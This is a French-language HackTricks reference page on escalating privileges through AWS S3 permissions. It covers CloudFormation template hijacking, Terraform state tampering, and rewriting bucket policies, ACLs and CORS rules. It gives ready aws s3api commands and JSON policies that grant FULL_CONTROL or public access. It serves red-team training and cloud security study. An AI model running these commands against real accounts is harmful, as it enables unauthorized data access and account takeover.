AWS - S3 Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

S3

s3:PutBucketNotification, s3:PutObject, s3:GetObject

Un attaquant disposant de ces permissions sur des buckets intĂ©ressants pourrait ĂȘtre capable de hijack resources et escalate privileges.

Par exemple, un attaquant disposant de ces permissions sur un bucket cloudformation nommĂ© “cf-templates-nohnwfax6a6i-us-east-1” pourra hijack the deployment. L’accĂšs peut ĂȘtre donnĂ© avec la policy suivante:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"
],
"Resource": [
"arn:aws:s3:::cf-templates-*/*",
"arn:aws:s3:::cf-templates-*"
]
},
{
"Effect": "Allow",
"Action": "s3:ListAllMyBuckets",
"Resource": "*"
}
]
}

Et le dĂ©tournement est possible car il existe une petite fenĂȘtre temporelle entre le moment oĂč le template est uploadĂ© dans le bucket et le moment oĂč le template est dĂ©ployĂ©. Un attaquant peut simplement crĂ©er une lambda function dans son compte qui se dĂ©clenche lorsqu’une notification de bucket est envoyĂ©e, et dĂ©tourne le contenu de ce bucket.

Le module Pacu cfn__resouce_injection peut ĂȘtre utilisĂ© pour automatiser cette attaque.
Pour plus d’informations, consultez la recherche originale : https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/

s3:PutObject, s3:GetObject

Ce sont les permissions pour rĂ©cupĂ©rer et uploader des objets dans S3. Plusieurs services au sein d’AWS (et en dehors) utilisent le stockage S3 pour conserver des fichiers de configuration.
Un attaquant avec un accĂšs en lecture peut y trouver des informations sensibles.
Un attaquant avec un accĂšs en Ă©criture peut modifier les donnĂ©es pour abuser d’un service et tenter d’escalader des privilĂšges.
Voici quelques exemples :

  • Si une instance EC2 stocke les donnĂ©es utilisateur dans un S3 bucket, un attaquant pourrait les modifier pour exĂ©cuter du code arbitraire Ă  l’intĂ©rieur de l’instance EC2.

s3:PutObject, s3:GetObject (optional) over terraform state file

Il est trĂšs courant que les fichiers d’état de terraform soient sauvegardĂ©s dans le blob storage des fournisseurs cloud, par exemple AWS S3. Le suffixe d’un fichier d’état est .tfstate, et les noms de bucket indiquent souvent qu’ils contiennent des fichiers d’état terraform. Habituellement, chaque compte AWS possĂšde un tel bucket pour stocker les fichiers d’état qui montrent l’état du compte. De plus, dans des comptes rĂ©els, presque toujours tous les dĂ©veloppeurs ont s3:* et parfois mĂȘme des utilisateurs mĂ©tiers ont s3:Put*.

Ainsi, si vous avez les permissions listĂ©es sur ces fichiers, il existe un vecteur d’attaque qui permet d’obtenir une RCE dans la pipeline avec les privilĂšges de terraform — la plupart du temps AdministratorAccess — ce qui fait de vous l’administrateur du compte cloud. Vous pouvez aussi utiliser ce vecteur pour effectuer une attaque de dĂ©ni de service en forçant terraform Ă  supprimer des ressources lĂ©gitimes.

Follow the description in the Abusing Terraform State Files section of the Terraform Security page for directly usable exploit code:

Abusing Terraform State Files

s3:PutBucketPolicy

Un attaquant, qui doit ĂȘtre du mĂȘme compte (sinon l’erreur The specified method is not allowed sera dĂ©clenchĂ©e), avec cette permission pourra s’accorder davantage de droits sur le(s) bucket(s), lui permettant de lire, Ă©crire, modifier, supprimer et exposer les buckets.

# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}

## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}

s3:GetBucketAcl, s3:PutBucketAcl

Un attacker pourrait abuser de ces autorisations pour grant him more access sur des buckets spécifiques.
Notez que l’attacker n’a pas besoin d’ĂȘtre du mĂȘme account. De plus, le write access

# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectAcl

Un attacker pourrait abuser de ces permissions pour s’octroyer un accĂšs accru Ă  des objects spĂ©cifiques dans des buckets.

# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectVersionAcl

Un attaquant disposant de ces privilĂšges devrait pouvoir appliquer un Acl Ă  une version spĂ©cifique d’un objet.

aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json

s3:PutBucketCORS

Un attaquant disposant de la permission s3:PutBucketCORS peut modifier la configuration CORS (Cross-Origin Resource Sharing) d’un bucket, qui contrĂŽle quels domaines web peuvent accĂ©der Ă  ses endpoints. S’ils dĂ©finissent une politique permissive, n’importe quel site web pourrait effectuer des requĂȘtes directes vers le bucket et lire les rĂ©ponses depuis un navigateur.

Cela signifie que, potentiellement, si un utilisateur authentifiĂ© d’une application web hĂ©bergĂ©e depuis le bucket visite le site de l’attaquant, ce dernier pourrait exploiter la politique CORS permissive et, selon l’application, accĂ©der aux donnĂ©es de profil de l’utilisateur voire dĂ©tourner son compte.

aws s3api put-bucket-cors \
--bucket <BUCKET_NAME> \
--cors-configuration '{
"CORSRules": [
{
"AllowedOrigins": ["*"],
"AllowedMethods": ["GET", "PUT", "POST"],
"AllowedHeaders": ["*"],
"ExposeHeaders": ["x-amz-request-id"],
"MaxAgeSeconds": 3000
}
]
}'

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks